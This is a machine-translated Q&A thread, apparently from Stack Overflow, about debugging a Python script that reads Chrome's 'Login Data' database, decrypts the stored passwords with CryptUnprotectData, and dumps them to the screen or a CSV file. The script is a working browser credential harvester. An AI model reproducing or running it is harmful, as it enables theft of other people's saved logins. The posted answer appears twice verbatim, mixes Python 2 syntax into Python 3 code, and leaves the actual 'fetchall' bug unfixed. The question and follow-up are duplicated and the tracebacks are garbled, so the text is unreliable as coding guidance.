Python ChromeSessionParser语法问题
我的部分代码遇到了问题,我在底部添加了错误。问题出现在sqllite3.operationError部分。我试图删除它,但当我执行此操作时,第68行“def getpath():”出现另一个错误,我看不出为什么会出现这些错误。我们将一如既往地感谢所有帮助。我的代码通常用于从数据库中取出登录数据并显示在csv文件中Python ChromeSessionParser语法问题,python,function,google-chrome,syntax,sqlite,Python,Function,Google Chrome,Syntax,Sqlite,我的部分代码遇到了问题,我在底部添加了错误。问题出现在sqllite3.operationError部分。我试图删除它,但当我执行此操作时,第68行“def getpath():”出现另一个错误,我看不出为什么会出现这些错误。我们将一如既往地感谢所有帮助。我的代码通常用于从数据库中取出登录数据并显示在csv文件中 import os import sys import sqlite3 try: import win32crypt except: pass import argpa
import os
import sys
import sqlite3
try:
import win32crypt
except:
pass
import argparse
def args_parser():
parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords")
parser.add_argument("--output", help="Output to csv file", action="store_true")
args = parser.parse_args()
if args.output:
csv(main())
else:
for data in main():
print (data)
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
sys.exit(0)
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
sys.exit(0)
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
sys.exit(0)
else:
print (e)
sys.exit(0)
return info_list
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
sys.exit(0)
return PathName
def csv (info):
with open ('chromepass.csv', 'wb') as csv_file:
csv_file.write('origin_url,username,password \n' .encode('utf'))
for data in info:
csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8'))
print ("Data written to Chromepass.csv")
if __name__ == '__main__':
args_parser()
错误
Traceback (most recent call last):
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 90, in <module>
args_parser()
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 19, in args_parser
for data in main():
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 35, in main
for information in value:
TypeError: 'builtin_function_or_method' object is not iterable
回溯(最近一次呼叫最后一次):
文件“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”,第90行,在
args_解析器()
args_parser中的文件“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”,第19行
对于main()中的数据:
文件“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”,第35行,主视图
有关价值信息:
TypeError:“内置函数”或“方法”对象不可编辑
正确的方法是:
except sqlite3.OperationalError as e:
您的main()
应该是:
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print '[!] Make sure Google Chrome is not running in the background'
sys.exit(0)
elif (e == 'no such table: logins'):
print '[!] Something wrong with the database name'
sys.exit(0)
elif (e == 'unable to open database file'):
print '[!] Something wrong with the database path'
sys.exit(0)
else:
print e
sys.exit(0)
return info_list
正确的方法是:
except sqlite3.OperationalError as e:
您的main()
应该是:
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print '[!] Make sure Google Chrome is not running in the background'
sys.exit(0)
elif (e == 'no such table: logins'):
print '[!] Something wrong with the database name'
sys.exit(0)
elif (e == 'unable to open database file'):
print '[!] Something wrong with the database path'
sys.exit(0)
else:
print e
sys.exit(0)
return info_list
感谢您的帮助,我知道这将是一个小问题,因为我弄错了。我已经解决了这个问题,现在收到了新的错误回溯(最近一次调用):args_parser()文件中的第90行文件“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”,第19行,位于args_parser for data in main():文件“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”“,第35行,主要用于值中的信息:TypeError:'内置函数\或\方法'对象不可编辑感谢您的帮助我知道这将是一个小问题我出错了我已修复该问题,现在收到新的错误回溯(最近一次调用):File“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”,第90行,在args_parser()文件“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”,第19行,在args_parser for data in main():文件“C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py”,第35行,主要用于值中的信息:TypeError:“内置函数或方法”对象不可编辑